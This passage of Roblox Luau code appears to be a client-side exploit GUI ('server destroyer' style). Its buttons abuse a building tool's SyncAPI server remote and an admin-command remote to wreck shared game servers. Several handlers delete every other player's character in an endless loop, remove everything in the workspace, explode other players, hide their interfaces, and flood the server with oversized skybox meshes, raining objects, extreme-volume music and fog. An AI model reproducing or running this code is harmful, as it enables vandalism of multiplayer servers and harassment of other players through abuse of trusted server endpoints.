						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function Setmate(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Material"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}

			_(args)
		end
		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end
		function ClonePart(part,parent)
			local args = {
				[1] = "Clone",
				[2] = {
					[1] = part
				},
				[3] = parent
			}

			return remote:InvokeServer(unpack(args))
		end
		function Sky(id)
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommandSilent = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent



			local function findBuildingTools()
				local player = game:GetService("Players").LocalPlayer

				for _, item in ipairs(player.Character:GetChildren()) do
					if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then
						return item
					end
				end

				for _, item in ipairs(player.Backpack:GetChildren()) do
					if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then
						return item
					end
				end

				return nil
			end

			local buildingTools = findBuildingTools()
			if not buildingTools then
				warn("btools not found")
				return
			end

			local syncAPI        = buildingTools:FindFirstChild("SyncAPI")
			local serverEndpoint = syncAPI and syncAPI:FindFirstChild("ServerEndpoint")

			if not serverEndpoint then
				warn("btools not found")
				return
			end

			local skyInstance = workspace.Terrain:FindFirstChild("Sky") or workspace:FindFirstChild("Sky")
			if not skyInstance then

				print"ok"
			end
			spawn(function()
				DestroyPart(skyInstance)
			end)
			local success, result
			if serverEndpoint:IsA("RemoteFunction") then
				success, result = pcall(function()
					return serverEndpoint:InvokeServer(unpack(args))
				end)
			else

				serverEndpoint:FireServer(unpack(args))
				success = true
			end

			if success then

				print"yay"

			end
			e = char.HumanoidRootPart.CFrame.x
			f = char.HumanoidRootPart.CFrame.y
			g = char.HumanoidRootPart.CFrame.z
			mhm = CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,-5,0)
			v = remote:InvokeServer("CreatePart","Normal",mhm,char)
			task.spawn(function()
				SetName(v,"johnbeep")
			end)
			task.spawn(function()
				AddMesh(v)
			end)
			task.spawn(function()
				rq:InvokeServer(";time 0")
			end)
			task.spawn(function()
				Resize(v,Vector3.new(0,0,0),v.CFrame)
			end)
			task.spawn(function()
				SetMesh(v,"1527559")
			end)
			task.spawn(function()
				MeshColor(v,vector.create(2,0,0))
			end)
			task.spawn(function()
				SetTexture(v,id)
			end)
			task.spawn(function()
				MeshResize(v,Vector3.new(-3000,-1000,-3000))
			end)
			task.spawn(function()
				SetLocked(v,true)
			end)

			local rotationAngle = 5
			local rotationSpeed = math.rad(20)
			RunService.Heartbeat:Connect(function(deltaTime)
				rotationAngle = rotationAngle + rotationSpeed * deltaTime
				local rotation = CFrame.Angles(0, rotationAngle, 0)
				local cf = CFrame.new(v.Position) * rotation

				task.spawn(function()
					MovePart(v, cf)
				end)
			end)

		end
		Sky("1529455")

		while true do
			wait(0.1)
			if character:FindFirstChildOfClass("Humanoid").Health <= 0 then
				RequestCommand:InvokeServer(";titler me BAD CHOICE")

				ClonePart(character.Head,workspace.Terrain)
				wait(0.1)
				local bg = workspace.Terrain.Head
				task.spawn(function()
					DestroyPart(bg.face)
				end)
				task.spawn(function()
					SetTrans(bg,1)
				end)
				ClonePart(character.johnbeep,workspace.Terrain)
				spawn(function()
					MeshColor(workspace.Terrain.johnbeep,vector.create(0,0,0))
				end)
				task.spawn(function()
					MeshResize(workspace.Terrain.johnbeep,Vector3.new(-50000,-50000,-50000))
				end)
				RequestCommand:InvokeServer(";explode others")
				RequestCommand:InvokeServer(";music 17717379222")
				RequestCommand:InvokeServer(";volume 10")
				wait(4)
				RequestCommand:InvokeServer(";music 19094700")
				RequestCommand:InvokeServer(";pitch 0.5")
				RequestCommand:InvokeServer(";volume 3")
				wait(0.8)
				RequestCommand:InvokeServer(";fogcolor black")
				RequestCommand:InvokeServer(";fog 3000")
				break
			end
		end

	end)
end;
task.spawn(C_7a);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
local function C_7c()
	local script = G2L["7c"];
	--i know that i just skidded shedletsky from angira thingy, credits to him
	local button = script.Parent
	button.MouseButton1Click:Connect(function()
		local Players = game:GetService("Players")
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local player = Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()

		local tool
		for _, v in ipairs(game:GetDescendants()) do
			if v.Name == "SyncAPI" then
				tool = v.Parent
				break
			end
		end
		if not tool then return end

		local remote = tool.SyncAPI.ServerEndpoint

		local function _(args)
			remote:InvokeServer(unpack(args))
		end

		local function CreatePart(cf)
			_({"CreatePart", "Normal", cf, workspace})
		end

		local function Resize(p, s)
			_({"SyncResize", {{Part = p, Size = s, CFrame = p.CFrame}}})
		end

		local function Move(p, cf)
			_({"SyncMove", {{Part = p, CFrame = cf}}})
		end

		local function Destroy(p)
			_({"Remove", {p}})
		end

		local function Collision(p, b)
			_({"SyncCollision", {{Part = p, CanCollide = b}}})
		end

		local function Material(p, m)
			_({"SyncMaterial", {{Part = p, Material = m, Transparency = 0}}})
		end

		local function Mesh(p, tex, scale)
			_({"CreateMeshes", {{Part = p}}})
			_({"SyncMesh", {{
				Part = p,
				MeshId = "rbxassetid://111891702759441",
				TextureId = "rbxassetid://" .. tex,
				Scale = scale,
				VertexColor = Vector3.new(2.5, 2.5, 2.5)
			}}})
		end


		do
			local pos = Vector3.new(0, 100, 0)
			CreatePart(CFrame.new(pos))
			task.wait(0.1)
			for _, v in ipairs(workspace:GetChildren()) do
				if v:IsA("BasePart") and (v.Position - pos).Magnitude < 1 then
					Resize(v, Vector3.new(1, 1, 1))
					Mesh(v, "105703720883593", Vector3.new(60000, 60000, 60000))
					Material(v, "Neon")
					Collision(v, false)
					break
				end
			end
		end

		task.wait(1)
		local RequestCommand = ReplicatedStorage
			:WaitForChild("HDAdminHDClient")
			:WaitForChild("Signals")
			:WaitForChild("RequestCommandSilent")
		RequestCommand:InvokeServer(
			";music 105336676258720 ;pitch 0.171 ;volume inf ;fogcolor black ;time night"
		)


		local backpack = player:WaitForChild("Backpack")
		local function getf3x()
			for _, v in ipairs(backpack:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then return v end
			end
			for _, v in ipairs(char:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then return v end
			end
			return nil
		end
		local f3x = getf3x()
		if not f3x then
			warn("why")
			return
		end
		local endpoint = f3x.SyncAPI.ServerEndpoint
		local function fastInvoke(args)
			task.spawn(function()
				pcall(function()
					endpoint:InvokeServer(unpack(args))
				end)
			end)
		end
		local function quickPart(cf, size, callback)
			task.spawn(function()
				local p = endpoint:InvokeServer("CreatePart", "Normal", cf, workspace)
				if not p then return end
				fastInvoke({"SyncResize", {{Part = p, CFrame = cf, Size = size}}})
				fastInvoke({"SyncAnchor", {{Part = p, Anchored = true}}})
				fastInvoke({"SyncCollision", {{Part = p, CanCollide = false}}})
				if callback then
					callback(p, size)
				end
			end)
		end
		local PARTICLE_TEXTURE = "18343405871"
		local PARTICLE_SIZE = Vector3.new(4, 4, 0.01)
		local function spawnParticle(head)
			local startCF = head.CFrame + Vector3.new(0, 3, 0)
			quickPart(startCF, PARTICLE_SIZE, function(p, size)
				fastInvoke({"SyncMaterial", {{Part = p, Transparency = 0}}})
				fastInvoke({"CreateMeshes", {{Part = p}}})
				fastInvoke({"SyncMesh", {{Part = p, MeshId = "rbxassetid://111891702759441"}}})
				fastInvoke({"SyncMesh", {{Part = p, TextureId = "rbxassetid://" .. PARTICLE_TEXTURE}}})
				fastInvoke({"SyncMesh", {{Part = p, Scale = size}}})
				fastInvoke({"SyncMesh", {{Part = p, VertexColor = Vector3.new(2.5, 2.5, 2.5)}}})
				task.spawn(function()
					local baseY = startCF.Position.Y
					for i = 1, 40 do
						fastInvoke({"SyncResize", {{
							Part = p,
							CFrame = CFrame.new(
								head.Position.X,
								baseY + (i * 1.2),
								head.Position.Z
							),
							Size = PARTICLE_SIZE
						}}})
						task.wait(0.08)
					end
					fastInvoke({"Remove", {p}})
				end)
			end)
		end
		local function particleLoop(plr)
			while plr.Parent do
				task.wait(0.5)
				local c = plr.Character
				if not c then continue end
				local hum = c:FindFirstChildOfClass("Humanoid")
				local head = c:FindFirstChild("Head")
				if hum and head and hum.Health > 0 then
					spawnParticle(head)
				end
			end
		end
		for _, plr in Players:GetPlayers() do
			task.spawn(particleLoop, plr)
		end
		Players.PlayerAdded:Connect(function(plr)
			task.spawn(particleLoop, plr)
		end)
	end)
end;
task.spawn(C_7c);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
local function C_7e()
	local script = G2L["7e"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local Players = game:GetService("Players")
		local RunService = game:GetService("RunService")

		local rq = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		rq:InvokeServer(";time 6")

		local player = Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()

		local tool
		for _, v in ipairs(player:GetDescendants()) do
			if v.Name == "SyncAPI" then
				tool = v.Parent
				break
			end
		end

		if not tool then
			for _, v in ipairs(ReplicatedStorage:GetDescendants()) do
				if v.Name == "SyncAPI" then
					tool = v.Parent
					break
				end
			end
		end

		if not tool then return end

		local remote = tool.SyncAPI.ServerEndpoint

		local function _(args)
			remote:InvokeServer(unpack(args))
		end

		local function CreatePart(cf, parent)
			_({
				"CreatePart",
				"Normal",
				cf,
				parent
			})
		end

		local function SetAnchor(part, state)
			_({
				"SyncAnchor",
				{
					{
						Part = part,
						Anchored = state
					}
				}
			})
		end

		local function AddMesh(part)
			_({
				"CreateMeshes",
				{
					{ Part = part }
				}
			})
		end

		local function SetMesh(part, meshid)
			_({
				"SyncMesh",
				{
					{
						Part = part,
						MeshId = "rbxassetid://" .. meshid
					}
				}
			})
		end

		local function SetTexture(part, texid)
			_({
				"SyncMesh",
				{
					{
						Part = part,
						TextureId = texid
					}
				}
			})
		end

		local function MeshResize(part, size)
			_({
				"SyncMesh",
				{
					{
						Part = part,
						Scale = size
					}
				}
			})
		end

		local function SetTransparency(part, value)
			_({
				"SyncTransparency",
				{
					{
						Part = part,
						Transparency = value
					}
				}
			})
		end

		local function DestroyPart(part)
			_({
				"Remove",
				{ part }
			})
		end

		local function Dih(part)
			_({
				"SyncMesh",
				{
					{
						Part = part,
						VertexColor = Vector3.new(2.5, 2.5, 2.5)
					}
				}
			})
		end

		local images = {
			"rbxassetid://107266927729266",
			"rbxassetid://93998617175064",
			"rbxassetid://125649747857355",
			"rbxassetid://99660569918334",
			"rbxassetid://111187668395547",
			"rbxassetid://87439412763095",
			"rbxassetid://71993451571835",
			"rbxassetid://139999418328304",
			"rbxassetid://139999418328304",
			"rbxassetid://79627250285943",
			"rbxassetid://90307883253250",
			"rbxassetid://97983151327163",
			"rbxassetid://117400268422354",
			"rbxassetid://121103862967546",
			"rbxassetid://109151715099593",
			"rbxassetid://117302944430224",
			"rbxassetid://105069186040738",
			"rbxassetid://103444357739658",
			"rbxassetid://135291343496435",
			"rbxassetid://137314874409426",
			"rbxassetid://111432515953173"
		}

		local skyPart
		local skyLoop
		local frameTime = 1 / 10
		local accumulator = 0

		local function CreateSky()
			local hrp = char:FindFirstChild("HumanoidRootPart")
			if not hrp then return end

			local pos = hrp.Position + Vector3.new(0, 6, 0)
			CreatePart(CFrame.new(pos), workspace)

			for _ = 1, 50 do
				task.wait()
				for _, v in ipairs(workspace:GetDescendants()) do
					if v:IsA("BasePart") and (v.Position - pos).Magnitude < 1 then
						skyPart = v
						break
					end
				end
				if skyPart then break end
			end

			if not skyPart then return end

			SetAnchor(skyPart, true)
			AddMesh(skyPart)
			SetMesh(skyPart, "111891702759441")
			MeshResize(skyPart, Vector3.new(60000, 60000, 60000))
			SetTransparency(skyPart, 0)
			Dih(skyPart)

			local index = 1
			accumulator = 0

			skyLoop = RunService.Heartbeat:Connect(function(dt)
				if not skyPart then
					skyLoop:Disconnect()
					return
				end
				accumulator += dt
				if accumulator >= frameTime then
					accumulator = 0
					SetTexture(skyPart, images[index])
					index = index % #images + 1
				end
			end)
		end

		local function ResetSky()
			if skyLoop then
				skyLoop:Disconnect()
				skyLoop = nil
			end
			if skyPart then
				DestroyPart(skyPart)
				skyPart = nil
			end
			task.spawn(CreateSky)
		end

		player.CharacterAdded:Connect(function(c)
			char = c
			ResetSky()
		end)

		if char:FindFirstChild("Humanoid") then
			char.Humanoid.Died:Connect(ResetSky)
		end

		CreateSky()

	end)
end;
task.spawn(C_7e);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
local function C_80()
	local script = G2L["80"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local Players = game:GetService("Players")

		local rq = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		rq:InvokeServer(";time 6 ;music 108379010710968 ;pitch 1.27 ;volume inf ;fogcolor black")

		local player = Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()

		local tool
		for _, v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
				break
			end
		end

		if not tool then
			for _, v in ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
					break
				end
			end
		end

		if not tool then return end

		local remote = tool.SyncAPI.ServerEndpoint

		local function _(args)
			remote:InvokeServer(unpack(args))
		end

		local function CreatePart(cf, parent)
			_({ "CreatePart", "Normal", cf, parent })
		end

		local function SetAnchor(part, state)
			_({ "SyncAnchor", { { Part = part, Anchored = state } } })
		end

		local function AddMesh(part)
			_({ "CreateMeshes", { { Part = part } } })
		end

		local function SetMesh(part, meshid)
			_({ "SyncMesh", { { Part = part, MeshId = "rbxassetid://" .. meshid } } })
		end

		local function SetTexture(part, texid)
			_({ "SyncMesh", { { Part = part, TextureId = texid } } })
		end

		local function MeshResize(part, size)
			_({ "SyncMesh", { { Part = part, Scale = size } } })
		end

		local function SetTransparency(part, value)
			_({ "SyncTransparency", { { Part = part, Transparency = value } } })
		end

		local function DestroyPart(part)
			_({ "Remove", { part } })
		end

		local function Dih(part)
			_({ "SyncMesh", { { Part = part, VertexColor = Vector3.new(2.5, 2.5, 2.5) } } })
		end

		local skyPart

		local function CreateSky()
			local hrp = char:FindFirstChild("HumanoidRootPart")
			if not hrp then return end

			local pos = hrp.Position + Vector3.new(0, 6, 0)
			CreatePart(CFrame.new(pos), workspace)

			for _ = 1, 80 do
				task.wait()
				for _, v in workspace:GetDescendants() do
					if v:IsA("BasePart") and (v.Position - pos).Magnitude < 1.5 then
						skyPart = v
						break
					end
				end
				if skyPart then break end
			end

			if not skyPart then return end

			SetAnchor(skyPart, true)
			AddMesh(skyPart)
			SetMesh(skyPart, "111891702759441")
			MeshResize(skyPart, Vector3.new(60000, 60000, 60000))
			SetTransparency(skyPart, 0)
			Dih(skyPart)
			SetTexture(skyPart, "rbxassetid://3820085")

			task.delay(4, function()
				if not skyPart then return end

				local steps = 20
				local totalTime = 0.25
				local waitPer = totalTime / steps

				for i = 1, steps do
					if not skyPart then return end
					local val = 2.5 * (1 - i / steps)
					_({ "SyncMesh", { { Part = skyPart, VertexColor = Vector3.new(val, val, val) } } })
					task.wait(waitPer)
				end

				if skyPart then
					_({ "SyncMesh", { { Part = skyPart, VertexColor = Vector3.new(0, 0, 0) } } })
				end
			end)

			task.delay(5, function()
				if not skyPart then return end

				SetTexture(skyPart, "rbxassetid://107914179275349")
				_({ "SyncMesh", { { Part = skyPart, VertexColor = Vector3.new(2.5, 2.5, 2.5) } } })

				task.spawn(function()
					while skyPart do
						task.wait(2)
						if not skyPart then break end
						_({ "SyncMesh", { { Part = skyPart, VertexColor = Vector3.new(40, 40, 40) } } })
						task.wait(0.25)
						if not skyPart then break end
						_({ "SyncMesh", { { Part = skyPart, VertexColor = Vector3.new(2.5, 2.5, 2.5) } } })
					end
				end)
			end)
		end

		local function ResetSky()
			if skyPart then
				DestroyPart(skyPart)
				skyPart = nil
			end
			task.spawn(CreateSky)
		end

		player.CharacterAdded:Connect(function(c)
			char = c
			ResetSky()
		end)

		if char:FindFirstChild("Humanoid") then
			char.Humanoid.Died:Connect(ResetSky)
		end

		CreateSky()
	end)
end;
task.spawn(C_80);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
local function C_82()
	local script = G2L["82"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local Players = game:GetService("Players")
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local player = Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()

		local tool
		for _,v in ipairs(player:GetDescendants()) do
			if v.Name == "SyncAPI" then tool = v.Parent break end
		end
		if not tool then
			for _,v in ipairs(ReplicatedStorage:GetDescendants()) do
				if v.Name == "SyncAPI" then tool = v.Parent break end
			end
		end
		if not tool then return end

		local remote = tool.SyncAPI.ServerEndpoint
		local function invokeSyncAPI(args)
			remote:InvokeServer(unpack(args))
		end

		local function _(args)
			remote:InvokeServer(unpack(args))
		end

		local function DestroyPart(p)
			invokeSyncAPI({"Remove",{p}})
		end

		local function Punish(plr)
			if plr and plr.Character then
				DestroyPart(plr.Character)
			end
		end

		coroutine.wrap(function()
			while true do
				for _,v in ipairs(Players:GetPlayers()) do
					pcall(function()
						Punish(v)
					end)
				end
				task.wait(0)
			end
		end)()

		local function CreatePart(cf,parent) invokeSyncAPI({"CreatePart","Normal",cf,parent}) end
		local function SetName(p,n) invokeSyncAPI({"SetName",{p},n}) end
		local function AddMesh(p) invokeSyncAPI({"CreateMeshes",{{Part=p}}}) end
		local function SetMesh(p,id) invokeSyncAPI({"SyncMesh",{{Part=p,MeshId="rbxassetid://"..id}}}) end
		local function SetTexture(p,id) invokeSyncAPI({"SyncMesh",{{Part=p,TextureId="rbxassetid://"..id}}}) end
		local function MeshResize(p,s) invokeSyncAPI({"SyncMesh",{{Part=p,Scale=s}}}) end
		local function SetVertexColor(p,v) invokeSyncAPI({"SyncMesh",{{Part=p,VertexColor=v}}}) end
		local function SetLocked(p,b) invokeSyncAPI({"SetLocked",{p},b}) end
		local function SetMaterial(p,m) invokeSyncAPI({"SyncMaterial",{{Part=p,Material=m}}}) end
		local function SetCollision(p,b) invokeSyncAPI({"SyncCollision",{{Part=p,CanCollide=b}}}) end
		local function SetAnchor(p,b) invokeSyncAPI({"SyncAnchor",{{Part=p,Anchored=b}}}) end
		local function CreatePointLight(p) invokeSyncAPI({"CreateLights",{{Part=p,LightType="PointLight"}}}) end
		local function SyncPointLight(p,b,r) invokeSyncAPI({"SyncLighting",{{Part=p,LightType="PointLight",Brightness=b,Range=r}}}) end

		local function Sky(texId)
			CreatePart(CFrame.new(0,100,0),workspace)
			task.wait(0.1)
			for _,v in ipairs(workspace:GetDescendants()) do
				if v:IsA("BasePart") and not v:IsDescendantOf(char) then
					if math.floor(v.Position.X)==0 and math.floor(v.Position.Y)==100 and math.floor(v.Position.Z)==0 then
						SetName(v,"Sky")
						AddMesh(v)
						SetMesh(v,"111891702759441")
						SetTexture(v,texId)
						MeshResize(v,Vector3.new(99999,99999,99999))
						SetVertexColor(v,Vector3.new(4,4,4))
						SetCollision(v,false)
						SetLocked(v,true)
						SetAnchor(v,true)
					end
				end
			end
		end

		local function createRainToads()
			while true do
				task.wait(0.3)
				if char and char:FindFirstChild("HumanoidRootPart") and char:FindFirstChild("Humanoid") and char.Humanoid.Health>0 then
					local hrp=char.HumanoidRootPart
					local x=hrp.Position.X+math.random(-1000,1000)
					local z=hrp.Position.Z+math.random(-1000,1000)
					local y=hrp.Position.Y+1200
					task.spawn(function()
						CreatePart(CFrame.new(math.floor(x),math.random(y,y+400),math.floor(z)),workspace)
						task.wait(0.1)
						for _,v in ipairs(workspace:GetChildren()) do
							if v:IsA("BasePart") and v.Name=="Part"
								and math.floor(v.Position.X)==math.floor(x)
								and math.floor(v.Position.Z)==math.floor(z) then
								SetName(v,"Toad")
								SetAnchor(v,false)
								AddMesh(v)
								SetMesh(v,"7234998844")
								SetTexture(v,"1009824086")
								SetCollision(v,false)
								local s=Instance.new("Sound",v)
								s.SoundId="rbxassetid://153752123"
								s.Volume=10
								s.PlayOnRemove=true
								s:Destroy()
							end
						end
					end)
				end
			end
		end

		Sky("201208408")
		task.spawn(createRainToads)

		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";fogcolor black ;time ;music 79999206651848 ;pitch 0.22 ;volume inf ;sm Get Toadroasted by Green2Spooky!1!1")

	end)
end;
task.spawn(C_82);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
local function C_84()
	local script = G2L["84"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local Players = game:GetService("Players")
		local RunService = game:GetService("RunService")

		local rq = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		rq:InvokeServer(";time 6 ;fogcolor black ;music 131086150375107 ;pitch 0.1 ;volume inf")

		local player = Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()

		local tool
		for _, v in ipairs(player:GetDescendants()) do
			if v.Name == "SyncAPI" then
				tool = v.Parent
				break
			end
		end

		if not tool then
			for _, v in ipairs(ReplicatedStorage:GetDescendants()) do
				if v.Name == "SyncAPI" then
					tool = v.Parent
					break
				end
			end
		end

		if not tool then return end

		local remote = tool.SyncAPI.ServerEndpoint

		local function _(args)
			remote:InvokeServer(unpack(args))
		end

		local function CreatePart(cf, parent)
			_({
				"CreatePart",
				"Normal",
				cf,
				parent
			})
		end

		local function SetAnchor(part, state)
			_({
				"SyncAnchor",
				{
					{
						Part = part,
						Anchored = state
					}
				}
			})
		end

		local function AddMesh(part)
			_({
				"CreateMeshes",
				{
					{ Part = part }
				}
			})
		end

		local function SetMesh(part, meshid)
			_({
				"SyncMesh",
				{
					{
						Part = part,
						MeshId = "rbxassetid://" .. meshid
					}
				}
			})
		end

		local function SetTexture(part, texid)
			_({
				"SyncMesh",
				{
					{
						Part = part,
						TextureId = texid
					}
				}
			})
		end

		local function MeshResize(part, size)
			_({
				"SyncMesh",
				{
					{
						Part = part,
						Scale = size
					}
				}
			})
		end

		local function SetTransparency(part, value)
			_({
				"SyncTransparency",
				{
					{
						Part = part,
						Transparency = value
					}
				}
			})
		end

		local function DestroyPart(part)
			_({
				"Remove",
				{ part }
			})
		end

		local function Dih(part)
			_({
				"SyncMesh",
				{
					{
						Part = part,
						VertexColor = Vector3.new(2.5, 2.5, 2.5)
					}
				}
			})
		end

		local images = {
			"rbxassetid://169585459",
			"rbxassetid://169585475",
			"rbxassetid://169585485",
			"rbxassetid://169585502",
			"rbxassetid://169585515",
			"rbxassetid://169585502",
			"rbxassetid://169585485",
			"rbxassetid://169585475"
		}

		local skyPart
		local skyLoop
		local frameTime = 1 / 10
		local accumulator = 0

		local function CreateSky()
			local hrp = char:FindFirstChild("HumanoidRootPart")
			if not hrp then return end

			local pos = hrp.Position + Vector3.new(0, 6, 0)
			CreatePart(CFrame.new(pos), workspace)

			for _ = 1, 50 do
				task.wait()
				for _, v in ipairs(workspace:GetDescendants()) do
					if v:IsA("BasePart") and (v.Position - pos).Magnitude < 1 then
						skyPart = v
						break
					end
				end
				if skyPart then break end
			end

			if not skyPart then return end

			SetAnchor(skyPart, true)
			AddMesh(skyPart)
			SetMesh(skyPart, "111891702759441")
			MeshResize(skyPart, Vector3.new(60000, 60000, 60000))
			SetTransparency(skyPart, 0)
			Dih(skyPart)

			local index = 1
			accumulator = 0

			skyLoop = RunService.Heartbeat:Connect(function(dt)
				if not skyPart then
					skyLoop:Disconnect()
					return
				end
				accumulator += dt
				if accumulator >= frameTime then
					accumulator = 0
					SetTexture(skyPart, images[index])
					index = index % #images + 1
				end
			end)
		end

		local function ResetSky()
			if skyLoop then
				skyLoop:Disconnect()
				skyLoop = nil
			end
			if skyPart then
				DestroyPart(skyPart)
				skyPart = nil
			end
			task.spawn(CreateSky)
		end

		player.CharacterAdded:Connect(function(c)
			char = c
			ResetSky()
		end)

		if char:FindFirstChild("Humanoid") then
			char.Humanoid.Died:Connect(ResetSky)
		end

		CreateSky()


	end)
end;
task.spawn(C_84);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
local function C_86()
	local script = G2L["86"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";time 5.6 ;fogcolor black ;btools ;unfog")
		wait(0.4)
		RequestCommand:InvokeServer(";hideguis others")
		wait(0.1)
		local player = game.Players.LocalPlayer
		local char = player.Character
		local backpack = player.Backpack

		local function getf3x()
			for _, v in ipairs(backpack:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			for _, v in ipairs(char:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end

			return nil
		end
		local f3x = getf3x()
		if not f3x then
			warn("where yo btools at")
		end
		local syncapi = f3x.SyncAPI
		local serverendpoint = syncapi.ServerEndpoint

		local function delete(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end

		local function deleteall()
			for _, v in ipairs(workspace:GetChildren()) do
				if v ~= "Sound" then
					task.spawn(function()
						delete(v)
					end)
				end
			end
		end

		deleteall()
		wait(0.8)

		local function resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end

		local function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end

		local function syncmaterial(part,mate,trans)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Material"] = mate
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
		local function transparency(part,trans)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = trans
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end

		local function MakeMeshNeon(part)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["VertexColor"] = vector.create(3, 3, 3)
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end

		local function color(part, color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color,
						["UnionColoring"] = false
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end

		local function syncmeshid(part, id)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..id
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end

		local function makemesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end

		local function syncmeshsize(part, vectora)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = vectora
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end

		local function syncmeshtexture(part, id)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] =	"rbxassetid://"..id
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end

		local function name(part, stringa)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringa
			}
			serverendpoint:InvokeServer(unpack(args))
		end

		local function lock(part, boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			serverendpoint:InvokeServer(unpack(args))
		end

		local function setcollision(part, booleana)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = booleana
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end

		local function setanchor(part, boolean)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end

		local function createdecal(part, side)
			local args = {
